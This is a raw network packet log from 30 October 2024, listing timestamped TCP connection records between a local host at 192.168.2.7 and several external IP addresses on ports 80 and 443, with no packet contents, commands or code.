Oct 30, 2024 04:35:42.404896021 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404901981 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404916048 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404941082 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.445329905 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.445357084 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.445370913 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.445384979 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.445408106 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481693029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481729031 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481745005 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481760025 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481774092 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481775045 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481791973 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481816053 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481853008 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481867075 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481868982 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481885910 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481897116 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481903076 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481930971 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481957912 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481966972 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.481972933 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.481990099 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482002974 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482023954 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482043982 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482043982 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482059956 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482074976 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482085943 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482106924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482126951 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482177019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482199907 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482214928 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482218981 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482229948 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482239962 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482256889 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482260942 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482276917 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482280016 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482306957 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482311964 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482326984 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482330084 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482345104 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482356071 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482377052 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482389927 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482394934 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482405901 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482420921 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482431889 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482436895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482454062 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482470036 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482479095 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482492924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482495070 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482528925 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482538939 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482559919 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482573986 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482589006 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482600927 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482619047 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482640982 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482671976 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482686996 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482702017 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482713938 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482717037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482733965 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482734919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482755899 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482785940 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.482791901 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.482842922 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:44.298008919 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.298100948 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.298171997 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.301892042 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.301911116 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.318064928 CET	49996	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.318094969 CET	443	49996	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.318155050 CET	49996	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.318490028 CET	49996	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.318502903 CET	443	49996	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.705801010 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.705878019 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.705952883 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.707720995 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.707756996 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.716905117 CET	49992	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:44.717178106 CET	49998	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:44.722482920 CET	80	49998	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:44.722500086 CET	80	49992	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:44.722558975 CET	49998	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:44.722574949 CET	49992	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:44.726285934 CET	49998	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:44.731678963 CET	80	49998	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:44.926652908 CET	443	49996	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.926733971 CET	49996	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.933634043 CET	49996	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:44.933681011 CET	443	49996	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:44.933823109 CET	49996	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.239356041 CET	49993	80	192.168.2.7	185.215.113.206
Oct 30, 2024 04:35:45.326750040 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:45.326828957 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.328090906 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.328128099 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:45.328444958 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:45.369853020 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.372833967 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.372884989 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.372980118 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:45.626688957 CET	80	49998	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:45.626748085 CET	49998	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:45.630587101 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:45.630852938 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:45.636215925 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:45.636229038 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:45.636264086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:45.636327982 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:45.636440992 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:45.641720057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:45.859385014 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:45.859488964 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:45.859616995 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.862679005 CET	49997	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:45.862720013 CET	443	49997	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:46.569822073 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569839001 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569849968 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569875002 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569894075 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.569921970 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569922924 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.569932938 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569983006 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.569987059 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.569998980 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.570008993 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.570022106 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.570041895 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.570065022 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.575452089 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.575505018 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.575544119 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.575555086 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.575587988 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.575592995 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.575592995 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.575764894 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.723908901 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.723927975 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.723939896 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.723953009 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.723989010 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.724035978 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.724040985 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724052906 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724066019 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724087000 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724088907 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.724123955 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.724127054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724172115 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.724910021 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724934101 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724945068 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.724968910 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.724997044 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.725265026 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.725322008 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.725322962 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.725334883 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.725363016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.725373030 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.725394011 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.725502968 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.726193905 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.726248026 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.726260900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.726273060 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.726303101 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.726313114 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.726325035 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.726352930 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.726385117 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.727101088 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.727112055 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.727153063 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.727194071 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.733047009 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:46.733084917 CET	443	50000	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:46.733163118 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:46.733519077 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:46.733532906 CET	443	50000	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:46.877722025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877754927 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877823114 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877834082 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877859116 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.877890110 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877901077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877911091 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877919912 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.877923012 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877939939 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.877943993 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.877964020 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.877986908 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.878586054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.878657103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.878671885 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.878681898 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.878726959 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.878921032 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.878937006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.878952026 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.878976107 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.879009008 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.879017115 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879028082 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879062891 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.879092932 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.879635096 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879690886 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879703045 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879719973 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879757881 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879760981 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.879770041 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.879802942 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.879836082 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.880497932 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.880559921 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.880567074 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.880569935 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.880609989 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.880615950 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.880628109 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.880630016 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.880637884 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.880692959 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.881352901 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.881378889 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.881388903 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.881421089 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.881452084 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.881500006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.881510019 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.881520987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.881557941 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.881612062 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.882272959 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.882287979 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.882298946 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.882347107 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.882384062 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.882400990 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.882411957 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.882421970 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.882455111 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.882483959 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.883171082 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.883181095 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.883191109 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.883244991 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.883275986 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.883287907 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:46.883296013 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:46.883347034 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.031541109 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031573057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031598091 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031613111 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031639099 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.031642914 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031657934 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031672955 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031677008 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.031698942 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.031723976 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.031902075 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031918049 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031933069 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.031966925 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.031995058 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032027960 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032064915 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032216072 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032273054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032282114 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032296896 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032324076 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032341003 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032344103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032357931 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032447100 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032448053 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032705069 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032720089 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032735109 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032772064 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032808065 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032814980 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032830954 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032845974 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032866001 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032877922 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032886982 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.032912016 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.032932043 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033308983 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033360004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033365011 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033375025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033406019 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033418894 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033423901 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033433914 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033464909 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033483982 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033539057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033554077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033569098 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033584118 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033586025 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033598900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.033603907 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033643961 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.033677101 CET	49999	80	192.168.2.7	185.215.113.16
